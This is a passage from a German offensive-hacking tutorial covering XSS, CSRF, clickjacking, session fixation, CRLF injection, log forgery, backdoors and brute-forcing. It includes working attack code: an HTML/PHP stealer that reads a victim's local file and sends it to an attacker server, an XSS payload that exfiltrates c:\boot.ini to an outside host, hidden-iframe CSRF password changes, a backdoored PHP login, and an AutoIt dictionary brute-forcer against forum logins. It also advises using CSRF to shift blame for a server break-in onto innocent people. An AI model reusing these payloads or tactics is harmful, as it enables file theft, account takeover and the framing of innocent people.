wir können dann zwar aus dem Inputfeld ausbrechen aber nicht mehr aus dem ganzen Inputtag. Was also machen? Ganz einfach, wir machen uns die Eventhandler von Javascript zu Nutze.
Die da heissen:
onabort

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

onblur
onchange
onclick
ondblclick
onerror
onfocus
onkeydown
onkeypress
onkeyup
onload
onmousedown
onmousemove
onmouseout
onmouseover
onmouseup
onreset
onselect
onsubmit
onunload

Nehmen wir für das Beispiel. einfach mal "onmouseover". Dieser tritt in Kraft wenn der Mauszeiger
über das Entsprechende Feld fährt:
http://127.0.0.1/text.php?text=hallo' onmouseover='alert(document.cookie)
Ergibt: <html><input type='text' value='hallo'
onmouseover='alert(document.cookie)'><html>

Befindet sich der Maus über dem Feld wo unser "hallo" drinnen steht, dann wird unser
Javascript ausgeführt. Es wird Also eine Alertbox mit unserem Cookie angezeigt.

Nun zum xss Clickjacking. Nehmen wir mal an unser Script funktioniert folgendermaßen:
http://127.0.0.1/text.php?link=http://blacknet.me
Ergibt: <html>mein link</html>

Und wir können kein ' verwenden. Was bleibt uns also übrig ?
Nur noch xss per Link. Also zum Beispiel. "javascript:alert(document.cookie)". Klickt der User nun
auf diesen Link dann wird unser Javascriptcode ausgeführt. Somit erklärt
sich auch sofort der name "xss Clickjacking".

Und zu guter letzt noch Local-Stealing. Anders als bei den restlichen xss Methoden
wird hier eine Datei angesprochen die Local auf dem Rechner des Users liegt.
Also anstatt http://blacknet.me/xss.html wäre es hier. c:\xss.html.
Hierfür gibt es zwei Möglichkeiten. Entweder wir senden dem User unsere html Datei
und er ruft sie local auf seinem Rechner auf oder wir nutzen ein Programm
was locale Dateien mit entsprechendem Inhalt aufruft.

Zunächst ein Script für die Methoden wenn wir ihm eine html Datei senden:
#########sender.html#########

```
<html><head>
<title>html stealer</title>
<script type="text/javascript">
var first = "yes";

function uebernahme(dat) {
if(browsertyp == "IE" && first == "no" && dat!=undefined) {
document.x.textausgabe.value+="\n";
location.href="http://[server]/annahme.php?log="+escape(document.x.textausgabe.v
alue);
}
if(dat!=undefined){
document.x.textausgabe.value+=dat;

location.href="http://[server]/annahme.php?log="+escape(document.x.textausgabe.v
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
alue);
first="no";
}
}

function read(file) {
var source = "";
if(browsertyp != "IE") {
var url = new java.net.URL(new java.net.URL(window.location.href), file);
var stream = new java.io.DataInputStream(url.openStream());
var line = "";
while ((line = stream.readLine()) != null) {
if(first=="yes") {
source += line;
first="no";
} else {
source += "\n" + line;
}
}
stream.close();
} else {
source = dwn.startDownload(file,uebernahme);
}
return source;
}
</script>
</head>

<body bgcolor="white" text="black" link="blue" vlink="purple" alink="red">
<script type="text/javascript">
var browsertyp;
if(!navigator.language || document.defaultCharset) {
browsertyp='IE';
document.write('none download');
} else {
browsertyp='MO';
}
</script>
<form name="x" action="javascript:uebernahme(read(document.x.textfile.value))">
<p><input type="text" name="textfile" value="file:///[local-file]" size="20">
<input type="submit" name="run" value="Datei einlesen"></p>
<p><textarea name="textausgabe" rows="5" cols="15"></textarea></p>
</form><script>document.forms[0].submit()</script>
</body>
</html>

#########annahme.php#########

<?php
if (isset($_GET["log"])) { echo $_GET["log"];
if (file_exists("[logfile]")) {
$filename="[logfile]";
$fp = fopen($filename,'a');
fwrite($fp, "\r\n\r\n#########next file##########\r\n\r\n" . $_GET["log"]);
fclose($fp); } else { $filename="[logfile]";
$fp = fopen($filename,'w');
fwrite($fp, "$_GET["log"]);
fclose($fp); } }
header('Location: [weiterleitung]');
?>

Hilfe:

zu bearbeiten:

#sender.html
[server]=eigenen server angeben zb: www.meinserver.de
[local-file]=locale zu klauende datei angeben zb: C:/geheim.txt
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
line 9:
location.href="http://[server]/save.php?log="+escape(document.x.textausgabe.valu
e);
line 14:
location.href="http://[server]/save.php?log="+escape(document.x.textausgabe.valu
e);
line 53: <p><input type="text" name="textfile" value="file:///[local-file]"
size="20">
```

#annahme.php

[logfile]=logfile angeben wo die daten der geklauten datei gespeichert werden zb: log.txt
[weiterleitung]=wohin das opfer schlussendlich gelinkt werden soll zb http://google.de

```
line 3: if (file_exists("[logfile]")) {
line 4: $filename="[logfile]";
line 7: fclose($fp); } else { $filename="[logfile]";
line 11: header('Location: [weiterleitung]');
```

Dieses Script hatte ich einmal für Mozilla Firefox 3 gemacht. Das Script ist je nach
belieben variierbar. Unter "Hilfe:" steht natürlich auch wie. Dieses Script ist eines von denen
das man dem User sendet damit er es auf seinem Rechner aufruft. Es ist dazu da ein Datei vom
Computer des Users zu stehlen und diese dann an einen Server des Angreifers zu schicken.

Ok, gibt es diese Möglichkeit auch, wie erwähnt bei Programmen?
Ich gebe ein Beispiel. Wie gesagt gab es vor kurzem erst einen derartigen Bug (Sicherheitslücke)
beim ICQ-Messenger. Dieser erlaubte es unkontrolliert Avatare Links in sein Profil einzufügen.
Besuchte man dann das manipulierte Profil Mittels ICQ-Messenger dann trat das XSS-Script in Kraft.
Dieses Script wurde mittels einer localen Datei ausgeführt via Internet Explorer 6.
Den Avatar-Link hat man natürlich Mittels Link angegeben.

Der XSS Link für den Angriff sah so aus:

```
javascript:var XMLHTTP = null; if (window.XMLHttpRequest) { XMLHTTP = new
XMLHttpRequest(); } else if (window.ActiveXObject) { try { XMLHTTP = new
ActiveXObject('Msxml2.XMLHTTP'); } catch (ex) { try { XMLHTTP = new
ActiveXObject('Microsoft.XMLHTTP'); } catch (ex) { } } } function
DatenAusgeben() { if (XMLHTTP.readyState == 4) { var d =
document.getElementById('Daten'); var s = document.getElementById('Status');
x=XMLHTTP.responseText; location.href='http://empfangsserver.de/?daten='+x;
d.innerHTML += XMLHTTP.responseText; s.innerHTML += XMLHTTP.status + ' (' +
XMLHTTP.statusText + ')'; } } window.onload = function() { XMLHTTP.open('GET',
'c:\\boot.ini'); XMLHTTP.onreadystatechange = DatenAusgeben; XMLHTTP.send(null);
}</script>
```

Da das Script local ausgeführt wurde, war es möglich Dateien zu stehlen.
Dieser Javascriptcode hat also die Datei "c:\boot.ini" eingelesen und dessen Inhalt
an einen Server von mir geschickt.

Na, das war jetzt aber einiges. Nur noch ein Paar Tipps auf den Weg:
XSS Sperren zu umgehen kann wirklich leicht sein.
Die hier gezeigten Funktionen sind natürlich nicht alles was Javasript zu bieten hat.
Man kann auch " oder ' Mittels char() FunKtion umgehen usw...

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

6. Cross Site request forgery

Cross Site request forgery (csrf) ist eine Angriffstechnick bei der ein Angreifer Daten ueber den Browser
eines Ahnunglosen User absendet. In der Regel wird csrf eingesetzt um html Formulare automatich
und unbemerkt vom User absenden zu lassen. Zb. um das Passwort des Users oder seine Profildaten zu aendern.
Dies kann Mittels Link oder Script gesehen. Der Angreifer sendet hierfuer sein Angriffsscirpt oder seinen
Angriffslink an den User. Wenn dieser es aufruft macht sein Browser dann alles weitere.
Durch diesen Zustand, dass der Browser des Users die Handlungen durchfuehrt ist es auch schwer erkennbar
wer denn nun eigentlich der echte Angriffer ist. Abgesehen vom Aspekt des Account uebernehmen oder
veraendern eines Accounts bietet csrf, wie schon erwaehnt auch ein hohes Maß an Anonymitaet fuer den Cracker.
So lassen sich per Csrf auch gekonnt Logs beeinflussen. Indem man Zb einen ohne sein Wissden in einen
Adminpanel einloggen laesst, worauf seine IP dann mit den Logs fuer einen Einbruch ins System
eingetragen wird. Also mal als Tip am Rande, wenn ihr einen Server owned habt und eure IP dabei
durchgekommen ist, dann fuehrt einen solchen csrf Angriff durch und lasst euer Script etwas Schabernack
treiben. So laesst sich des oefteren die Beweislage auf mehrere falsche Angreifer verlegen und somit
die Ausreden, man war selbst nur ein Opfer glaubhaft machen.

Aber genug geredet. Legen wir los! Beginnen wir einfach mal mit dem Fall eines simplen
html Formulars das die sensiblen Daten per Get parameter absendet:

```
<html><form action="index.php" method="get">
neues passwort (pw): <input type="text" value="" name="pw">
<br><input type="submit" value="pw aendern">
</form></html>
```

Innerhalb des (Value="") schreibt man natuerlich das neue Passwoert.
sagen wir mal der User moechte sein Passwort auf "geheim aendern".
Also tippt er das ein und klickt auf "pw aendern".

Der Link wuerde dann so aussehen:
http://127.0.0.1/index.php?pw=geheim

Natuerlich hat nur der User Zugriff auf dieses spezielle Formular. Von mir aus hat er
diesen Zugriff Cookiebedingt, so wie es bei xss schon beschreiben wurde.

Was waere aber wenn wir uns einen solchen link nehmen und ihn zb so aussehen lassen:
http://127.0.0.1/index.php?pw=angreiferpw

Wenn unser User dieser Link oeffnet wird doch sein Passwort auf "angreiferpw" geaendeert?
Yap, so siehts aus! Wir muessen also nixs weiter machen als uns einmal so ein Passwortformular der entsprechenden Website an zu sehen und einen entspechenden Angriffslink zusammen zu stellen. Und diesen dann Anschliesend dem User unterjubeln.
Da schutzen den User dann auch keine Cookies oder IP-Cheks mehr.
Was allerdings Schutz bietet waere das Pruefen des Referers oder eindeutige ID's im Link des Userpanels oder der Formulare. Natuerlich sind damit ID's gemeint
die der Angreifer unmoeglich erraten kann.

Das genannte bsp gilt natuerlich auch fuer Zb. Postparamaeter:

```
<html><form action="index.php" method="get">
neues passwort (pw): <input type="text" value="" name="pw">
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
<br><input type="submit" value="pw aendern">
</form></html>
```

Allderdings muessen wir bei post parametern ebenfalls ein Formular erstellen. Welches wir dann automatich abesenden lassen:

```
<html><form action="index.php" method="get">
neues passwort (pw): <input type="text" value="crackerpw" name="pw">
<br><input type="submit" value="pw aendern">
</form><script>document.forms[0].submit();</script></html>
```

Das document.forms[0].submit(); sendet das erste Formular innerhalb des Html Quelltextes ab (wir haben sowieso nur ein html Formular erstellt^^). Und das passwort des Users wird folglich geaendert. Wie man merkt waer es bei csrf ratsam seine formulare und angriffslink zu verstecken.

Ich gebe mal ein Bsp:

```
<iframe src="http://127.0.0.1/index.php?pw=angreiferpw" width="0"
height="0"></iframe>
```

Somit ist unser Iframe 0 Pixel breit und 0 Pixel 0 hoch. Also nicht zu sehen. Diese Methode der 0 Pixel wird allerdings von einigen Firewalls und Virenscannern
Als gefaehrlich angesehen. Da empfiehlt es sich dann solche Iframes per css opacity zu verstecken oder zb den Frame mittels span aus dem Fensterbereich zu bringen.
zur Methode mit opacity kommen wir noch beim Clickjacking. Vorerst erstmal die Sache per span:

```
<span style="position: absolute; left: 11111px; top: 11111px">
<iframe src="http://127.0.0.1/index.php?pw=angreiferpw" width="400"
height="400"></iframe></span>
```

Unser Iframe liegt nun laut Positionsangabe bei 11111 Pixel von rechts und von oben an gerechnet
im Browserfenster. Somit ist es alles andere als innerhalb der Sichtweite des Browerfensters.
Natuerlich koennen wir so nicht nur Angriffslinks sondern auch Links zu Angriffsscript's einfuegen.

Achja, Falls sich der ein oder anderen vorhin gefrgat hat wie er per Postparameter einen
xss Angriff durchziehen soll, dann weis er es spaetestens seitdem er csrf kennt :-)

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

7. Clickjacking

Clickjacking ist eine der neuesten Methoden im WWW. Hierbei ueberlagert man Sprichwoertlich
eine Seite mit einer anderen und laesst den User augenscheinlich Klicks u.o. Tastenschlaege auf
dieser "anderen" Seite ausfuehren die in wirklichkeit aber auf der ueberlagerten Seite angenommen werden. Das klingt erstmal bisschen Kompilizert. Bei genaueren hinsehen
wird es aber immer einfacher. Wir suchen uns Zb. eine Website die per Klick das Loeschen
des Accounts erlaubt. Nun ertsellen wir selber eine kleine Webseite und geben ihr ein paar button
oder aehnliches als grafisches User Interface (gui). Ueber die Gui legen wir dann unsere Klickflaechsen.
Den Iframe machen wir per css opacity anweisung unsichtbar. Klickt der user nun auf unsere schaltflaeche,
so hat er in wirklichkeit auf die davor liegende Seite geklickt. also auf den Button der sein Profil loescht.

Sehen wir uns das Ganze mal in der Praxis an. So koennte die Seite mit dem Loeschbutton aussehen:

```
<input type="button" value="loeschen" onclick="alert('ok')">
```

Damit wir beim Test besser sehen was geschieht habe ich eine Alertbox per onklick
mit rein gemacht. Und so koennte unser Angriffsscript aussehen:

```
<span style="position: absolute; left: 0px; top: 0px">
<iframe src="loeschen.html" style="opacity: 0" width="200"
height="200"></iframe>
</span><img src="button.jpg" width="70" height="20" style="opacity: 1">
```

Wenn der User jetzt auf das Bild (button.jpg) klickt, dann klickt wer somit auf den eigentlichen Loeschbutton. Und loescht somit seinen Account ohne es zu wollen.
Der bloße Klick allein ist natuerlich nicht alles was Clickjacking ausmacht.
Auch Tastenschlaege kennen so an die Falsche Stelle gelangen.
Oder dank der tollen Drag&Drop Funtkionen der neueren Browser auch ganze Datensaetze die
gestohlen werden koennen. Oder an die falsche Stelle positioniert werden koennen.

Wie bei csrf wird Clickjacking von Seiten des Opfers aus gemacht. D.h. der User macht diese
Klicks ja tatsaechlich selber. Nur denkt er das er wo ganz anders diese Klicks macht.
Clickjacking wird auch aus diesem Grund gern bei Onlineshops eingesetzt.
Da man dort des oefteren einen User per Clickjacking etwas kaufen lassen kann das er
nicht kaufen will. Auch Freigabebestaetigungen von Webcam oder microfon usw. koennen so
ergaunert werden. Zudem ist diese Methode sehr hilfreich bei xss Clickjacking.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

8. Session fixation

Bei einer Session fixation weist man dem User noch vor seinem Login eine Session zu.
Wird diese beim Login ubernommen, dann weis der Angreifer wer Sessionskennung der
User nutzt. Fuer diesen Angriff braucht man zunaechst erstmal eine gueltige Sessionskennung.
Die bekommt man zb wenn man sich selber einmal einlogt. Diese Sessionskennung
oder eine selbstabgewandelte schicken wir dann unserem User. Wenn dieser User unser Script
oder unseren Link mit der von uns erstellten Sessionskennung besucht dann wird diese
fuer ihn festgelegt. Also, wir schicken unserem User einen Link mit einer bestimmten
Sessionskennung oder auch Session-ID. Er ruft diesen Link nun auf. Auf der Website zu der
der Link fuehrt wird unsere Session-ID fuer ihn als Erkennungsmerkmal fest gelegt.
Wenn der User sich jetzt einloggt merkt die Seite, AHA, Herr Abc mit der Session-ID X
ist nun eingeloggt. Da wir die Session-ID aber bereits kennen koennen wir uns ebenfalls
in seinem Account tummeln.

Und so koennte ein Angriff aussehen:
http://127.0.0.1/welcome.php?sid=xyz
Ausgabe: hallo sie sind ausgeloggt! loggen sie sich doch ein.

Unser User hat von uns eine Session-ID Namens "sid=xyz" zugewiesen bekommen.
Nun loggt er sich ein. Er sendet username und Passwort an den Server.

http://127.0.0.1/welcome.php?sid=xyz
>Username und Passwort wird gesendet...
Ausgabe: wilkommen zurruekc Herr Abc

Unsere Session-ID oben im Link wurde uebernommen und als Erkennungsmerkmal fuer die derzeitige
Sitzung auf der Website fuer Herrn Abc festgelegt.
Da wir dem User ja eigenhaendig die Session-ID (sid) unteregejubelt haben wissen wir bereits welche sid
er derzeit nutzt. Nun koennen wir uns selbst in seinem Account umsehen.

Anders als bei einer Session fixation versuchen wir bei Session hijacking die Session
raus zu bekommen wenn der User schon eingeloggt ist. Wie das per xss oder Session fixation klappt
wissen wir ja schon. Also beziehen wir uns mal auf eine Getparameter bezogen sid.
Um diese zu bekommen gibt es viele Moeglichkeiten. Nutzen wir mal die des Referer-logging.
Denken wir uns en Forum in dem man Bilder posten kann.

Wir posten also ein Bild:
<img src="http://blacknet.me/bild.jpg">

Nun wir im Browser der User dieses Bild aufgerufen was wir gepostet haben.
Dieses Bild wird von dem Script aus aufgerufen in dem es eingebunden ist.
Also zb:
http://127.0.0.1/userbilder.php?sid=xyz

Das bedeutet das bei dem Einbinden des Bildes ein Referer entsteht der von dem
Server http://blacknet.me mitgeloggt wird. Also wie gewohnt in die Serverlogs kommt.
Der Referer waere natuerlich: http://127.0.0.1/userbilder.php?sid=xyz
Somit haetten wir die Session-ID gehijacked! Nun haben wir wieder alles was wir brauchen
um im Account des User zu rumm zu geistern.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

9. Path disclosure

Wie der Name schon sagt setzt man diese Technick um Vernwendete Pfade zu sehen. Besonders brauchbar fuer LFI's und aehnliche Methoden. Aber auch um das Betriebsystem zu
erkennen ist eine Path disclosure nuetzlich. Zb. besieht ein Pfad auf einem Windowsserver
so aus: c:\http\www\index.php und ein Pfad auf einem Unix basierenden Server in etwa so:
/var/www/index.php. Wie wir sehen kann eine Path disclosure nuetzliche Informationen
bereit halten. Aber wie funktioniert das ? Wie findet man Bugs die einem solche Informationen
anzeigen ? In den meisten faellen treten solche Informationen bei Fehlermeldungen in Erscheinung.

Zb. wie wirs schon von LFI & RFI her kennen:
Warning: include (../x) [function. include]: failed to open stream: No such file or directory in D:\wamp\www\lfi.php on line 3

Im Grunde kommt es also darauf an eine Fehlermeldung hervor zu rufen. Jetzt kann sich natuerlich jeder
denken wie viele Moeglichkeiten es dafuer gibt^^. Deswegen werde ich mich kurz fassen und schnell
eine Moeglichkeit beschreiben:

```
<?php
preg_match("/test/", $_GET["text"], $match);
?>
```

Diese Funktion kann nur Strings verarbeiten.
Also senden wir mal einen String:
http://127.0.0.1/index.php?text=hallo

Wir sehen das es keine Fehlermeldung zurrueck gibt, sondern alles ohne Fehler von Statten ging.
Nun senden wir mal ein Array:
http://127.0.0.1/index.php?text[0]=hallo

Und schon haben wir eine Fehlermeldung:
Warning: preg_match() expects parameter 2 to be string, array given in D:\wamp\www\index.php on line 2

Wie gesagt gibts es eine Vielzahl an Moeglichkeiten. Um nochmal schnell eine zu nennen.
Wenn man einen sql Server dermaßen umnterdurck setzt das er ueberlastet ist oder abstuertzt
zb. oder dos oder ddos, dann gibt das Script was diesen sql Server nutzt ebenfalls eine so
Brauchbare Fehlermeldung aus.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

10. Sniffing

Beim Sniffen logt man den Datenverkehr eines Users oder seinen eigenen mit. Diese Methode bietet sich meist
nur bei schon gehackten Rechnern an, um besser ueber den Datenverkehr des Opferservers bescheid zu wissen.
Aber, wie gesagt nur in den meisten Faellen. Wenn man zb. seinen eigenen Datenverkehr mit snifft kann man
auch schon einige nuetzliche Daten bekommen. Ich nenne mal schnell ein paar gute Programme zum sniffen:
Carnivore PE
Wireshark
ethereal

Ich persoehnlich bevorzuge Carnivore. Dieser Sniffer ist erstaunlich genau. Mit solchen Netzwerksniffern
ist es moeglich den gesamten Datenverkehr einer Netzwerkverbindung zu protokollieren. Also auch Passwoerter
aufgerufene Links, Mails usw. Versuchts mal, downloadet euch so einen Netzwerksniffer und spielt ein bisschen
damit rumm. Also los gehts. Folgender als Bsp. Wir laden uns ein mmorpg. Dieses macht seine Updates zb. mittels
ftp Verbindung. Dieser Ablauf koennte in etwa so aussehen:
ftp 127.0.0.1
user updater
pass updatepw
get update.txt c:\game\update.txt
quit

UND, mit einem Netzwerksniffer sind wir in der Lage diesen Datenverkehr mit zu sniffen!
Muss man jetzt noch weitere Erklaerungen bringen ?^^

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

11. Clrf Injects

Crlf bezeichnet einen Zeilenumbruch. Mit einfachen Zeilenumbruechen laesst sich mehr erreichen als man denkt.
Nehmen wir mal das Beispiel einer Accountregistration. Wir geben als Username "Admin" ein.
Diesen wollen wir haben um Authentich User nach ihren Passwoertern fragen zu koennen.
Leider ist er schon vergeben. Vom echten Administrator. Gehen wir davon aus das das Script eine
Zeile fuer den Username einberechnet. Also muessen wir einen Username nutzen der nach diesem System
anders ist als "Admin" aber dennoch als "Admin" gespeichert wird. Die loesung fuer diese Problem
bietet ein Zeileumbruch:
http://127.0.0.1/reg.php?newuser=Admin%0A

Admin%0A (%0A=zeilenumbruch) ist nicht gleich Admin wie man sieht. Das Script geht als davon aus das
dieser Username noch nicht existiert. Da es einzeilig arbeitet Speichert es den Name als "Admin"
ab. Und somit haben wir den eigentlichen Admin Username ueberschrieben. Nun koennen wir uns mit unserem
"neuen" Account einloggen.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

12. Optical Faking

Optical faking (auf deutsch etwa: „Optisch vorgetäuscht“) ist eine Angriffsform die hauptsächlich im Bereich des Social Engineering Anwendung findet. Diese Hacking-Methode
stützt ihre Wirksamkeit auf die verschiedenen Schriftarten der Textverarbeitungsprogramme sowie automatische Zeilenumbrüche und ähnlich agierende Handlungen von Textprogrammen.

Optical faking tritt dann auf wenn eine Webanwendung oder ein lokales Programm empfangene Texte speichert ohne diese ausreichend zu prüfen.
Ein klassisches Beispiel für Optical faking ist die optische Manipulation von HTTP Access Log's.
Hierbei überschreitet der Angreifer die maximale Zeichenanzahl von 1024 Zeichen einer
Zeile des Windows Notepad. Und erzwingt somit einen relativen Zeilenumbruch im Notepad
der Optisch nicht von einem wirklichen Zeilenumbruch (CRLF) zu unterscheiden ist.
HTTP Access Log's erlauben pro Zeile einen Aufruf. Somit ist der Angreifer in der Lage
eine vermeintlich neue Zeile der Logdatei nach belieben zu gestalten. In dieser neuen Zeile
könnte er z.B.: vorgaukeln eine bestimmte IP (die er selber nicht besitzt), habe einen Seitenaufruf im Administrationsbereich getätigt.

Optical faking ist normalerweise harmlos, doch da Administratoren, die auf diese Weise in die
Irre geführt wurden, davon ausgehen müssen das die gesehenen Informationen korrekt sind,
erweist sich diese Art der Informationsverfälschung als überaus hilfreich zur Unterstützung
und Durchführung von Social Engineering Angriffen.

Zur Veranschaulichung wird in diesem Beispiel Apache 2.x genutzt.
Ein Normaler Ausschnitt aus einem Apache 2.x Logfile, geöffnet mit Windows Notepad (Schriftart Arial)
GET /logo_i.gif HTTP/1.1'' 304 -0.0.0.0 - - [11/Mar/2011:11:17:26 +0100] ''GET /logo_i.gif HTTP/1.1

Ein Angreifer verbindet sich nun mit dem Webserver und sendet ein Datenpaket wie folgt:
GET /logo_i.gif HTTP/1.1'' 304 -(992 Leerzeichen)0.0.0.0 - -
[11/Mar/2011:11:17:26 +0100] ''GET /logo_i.gif HTTP/1.1

Durch die 992 Leerzeichen wird die Zeile im Notepad Zwangsweise umgebrochen. Das Zeichen " wird
durch zwei ' ersetzt. Bei Arial als ausgewählte Schriftart ist kein Unterschied zwischen " und 2x ' zu erkennen. Folglich ist auch beim bloßen betrachten der Logdatei
kein Unterschied fest zu stellen:
GET /logo_i.gif HTTP/1.1'' 304 -
0.0.0.0 - - [11/Mar/2011:11:17:26 +0100] ''GET /logo_i.gif HTTP/1.1

Die vermeintlich neue Zeile sieht also korrekt aus und vertritt dennoch einen unlogischen Inhalt. Somit ist es einem Angreifer möglich eine Logdatei optisch zu verfälschen um dem Systemadministrator falsche Informationen unter zu jubeln und diese dann für weitere Social Engineering Handlungen zu nutzen.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

13. Backdoors

Backdoors sind die Hintertuerchen der Cracker. Wenn ein Angreifer ein System ownt dann baut er
sich des oefteren eine Hintertuer ins System ein. Wie dieses Backdoor aussieht haengt
vom Angreifer und den Umstaenden des Angriffs ab. Zb kann er einen versteckten Admin Account
anlegen oder ein Shellscript hochladen bei dem nur er weis wie man es nutzt.
Auch viele Softwarehersteller verwenden Backdoors um zb. ihren Kunden helfen zu koennen
wenn sie ihr Passwort unwiederuflich verloren haben. Ob diese Art der Software dann noch sicher ist,
ist allerdings stark zu bezweifeln. Ich Zeige mal wie so ein Backdoor aussehen koennte.

Normales Script:

```
<?php
if (isset($_GET["pass"])) { if ($_GET["pass"]=="passwort") { echo "login ok"; }
else { echo "login failed"; }
?>
```

Script mit Backdoor:

```
<?php
if (isset($_GET["pass"])) { if ($_GET["pass"]=="passwort" or
$_GET["pass"]=="hackerpw") { echo "login ok"; } else { echo "login failed"; }
?>
```

Wir sehen also das kleine Unterschiede bei Backdoors gefragt sind. Ebenfalls sollten Backdoors
immer gut versdteckt sein. Man moechte ja nicht auffliegen.

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.

14. Bruteforce

Bruteforce ist einhe sehr alte Technick des Hackens. Hierbei probiert man Systematich Bei einem Account
alle Passwoerter durch. Dies kann per Hand also zb. mit Standartpasswoertern geschehen. Oder
per Script, was wohl eher Sinn ergibt. Grndsaetzlich gibt es zwei Arten von Bruteforce. Einaml
die Normale Brute-force Attack und dann Dictionary Attacks. Diese Methoden unterscheiden sich daran, dass
bei einer Brute-force Attack Zeichenkombinationen einer bestimmten Zeichenumgebung abgerattert werden und
bei einer Dictionary Attack eine Liste mit Passwoerter durch gegangen wird.

Also eine Brute-force Angriff wuerde zb alle Kombinationen durchgehen die abcd123 enthalten und 3 zeiuchen lang sind:
abcd123
abcd132
abc1d32
usw...

Hingegen bei einem Dictionary Angriff wird eine Passwortliste genommen:
passwort1
secret
love
hacker
usw...

Scripte und Programme fuer Bruteforce & Dictionary Angriffe gibt es im internet zu Hauf.
Ich nenne mal einige bekannte:
Unsecure
Brutus AET
Claymore
John the ripper

Natuerlich sind diese Bruteforce Programme nicht fuer alle Arten von Accounts Nutzbar.
So gibt es zb spezielle Messanger Bruter, Mail Bruter usw.
Es lohnt sich also des oefteren Selbst ein Bruteforce Programm zu Programmieren.
Es ist garnicht so lange her da habe ich selber ein Bruteforce Programm programmieren muessen. Weil es fuer diese Art von Account noch kein Bruteforce Programm gab.

Ich gebe ihnen einfach mal das Script mit auf den Weg:

```
;autoit3 source
#NoTrayIcon
#include <file.au3>
#include <GUIConstantsEx.au3>

$vvi=0
$gui1=GUICreate("Vb brute", 408, 350)
GUISetBkColor(0x000000)
GUISetFont(8, 400, 1, "Comic Sans MS")
$groupa=GUICtrlCreateGroup("Server", 10, 10, 187, 93)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabela=GUICtrlCreateLabel("IP", 15, 33, 12)
GUICtrlSetColor(-1, 0xFF00FF)
$urla=GUICtrlCreateInput("127.0.0.1", 40, 31, 135)
$pointlabelb=GUICtrlCreateLabel("Host", 15, 64, 27)
GUICtrlSetColor(-1, 0xFF00FF)
$urlb=GUICtrlCreateInput("www.127.0.0.1.com/path/login.php?do=login", 40, 61,
135)

$groupb=GUICtrlCreateGroup("Einstellungen", 210, 10, 187, 93)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelc=GUICtrlCreateLabel("User", 215, 33, 22)
GUICtrlSetColor(-1, 0xFF00FF)
$urlc=GUICtrlCreateInput("username", 260, 31, 125)
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
$pointlabeld=GUICtrlCreateLabel("Keyword", 215, 64, 39)
GUICtrlSetColor(-1, 0xFF00FF)
$urld=GUICtrlCreateInput("Set-Cookie: bbsessionhash=", 260, 61, 125)

$groupb=GUICtrlCreateGroup("Dictionary", 10, 113, 387, 77)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabele=GUICtrlCreateLabel("---Password List---", 156, 131, 100)
GUICtrlSetColor(-1, 0xFF00FF)
$dic=GUICtrlCreateInput(@ScriptDir & "\dic.txt", 20, 155, 326)

$diclin=GUICtrlCreateInput("0", 353, 155, 35)

$groupc=GUICtrlCreateGroup("Status", 10, 203, 387, 107)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelf=GUICtrlCreateLabel("Current Password:", 17, 225, 100)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelpassword=GUICtrlCreateLabel("nothing...", 108, 225, 200)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelg=GUICtrlCreateLabel("Current count:", 17, 245, 100)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelpasswordcount=GUICtrlCreateLabel("0", 87, 245, 200)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelh=GUICtrlCreateLabel("Dic count:", 17, 265, 100)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelpasswordcountx=GUICtrlCreateLabel("0", 67, 265, 200)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabeli=GUICtrlCreateLabel("Pw/s:", 17, 285, 100)
GUICtrlSetColor(-1, 0xFF00FF)
$pointlabelpasswordtime=GUICtrlCreateLabel("0", 47, 285, 200)
GUICtrlSetColor(-1, 0xFF00FF)

$ok=GUICtrlCreateButton("Brute!", 15, 320, 185, 20)
GUICtrlSetBkColor(-1, 0x000000)
GUICtrlSetColor(-1, 0xFF00FF)

$credits=GUICtrlCreateButton("Credits", 205, 320, 186, 20)
GUICtrlSetBkColor(-1, 0x000000)
GUICtrlSetColor(-1, 0xFF00FF)

GUISetState(@SW_SHOW, $gui1)

while 1
        $msg = GUIGetMsg($gui1)
        Select

        Case $msg=$ok
        $dicu=guictrlread($dic)
        If FileExists($dicu) Then
        $lines = _FileCountLines($dicu)
        $ip=guictrlread($urla)
        $host=guictrlread($urlb)
        $usr=guictrlread($urlc)
        $searchstring=guictrlread($urld)

        $hosts = StringSplit($host, "/", 1)
        $hostx=ubound($hosts)

        if $hostx<3 Then
        MsgBox(4096, "Error", "Host have a incorrect format")
        Else

        if stringlen($hosts[1])<1 or stringlen($hosts[2])<1 Then
        MsgBox(4096, "Error", "Host have a incorrect format")
        EndIf

        if $lines<1 Then
        MsgBox(4096, "Error", "Dictionary count must be greater than 0!")
        Else
```

Generated by Foxit PDF Creator © Foxit Software
http://www.foxitsoftware.com For evaluation only.


```
        if stringlen($ip)<1 Then
        MsgBox(4096, "Error", "IP must be greater than 0")
        Else
        $diclincount=GUICtrlRead($diclin)
        if stringlen($diclincount)<1 then
        MsgBox(4096, "Error", "First line must be greater than -1!")
        else
        if $diclincount>$lines or $diclin<0 Then
        MsgBox(4096, "Error", "First line can't out of the Range from your
